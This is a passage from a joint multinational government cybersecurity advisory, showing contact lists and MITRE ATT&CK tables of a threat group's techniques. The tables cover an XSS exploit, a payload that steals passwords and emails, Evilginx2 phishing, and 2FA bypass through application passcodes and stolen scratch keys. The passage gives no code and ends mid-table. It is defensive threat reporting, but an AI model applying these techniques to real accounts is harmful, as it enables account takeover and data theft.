<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
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<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
